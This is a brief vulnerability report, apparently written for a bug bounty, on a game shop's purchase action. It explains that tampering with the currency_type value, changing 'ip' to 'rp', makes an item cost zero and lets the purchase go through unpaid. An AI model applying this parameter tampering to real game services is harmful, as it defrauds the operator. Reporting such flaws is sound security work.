In this action.
Currency_type is not strictly controlled.
For example, the original value of a game gold coin is
Currency_type = ip
This action determines the data of the type value in currency_type.
If it is changed to currency_type = rp. Because the rp (RMB) of gold coins is 0, the purchase will be successful without money.
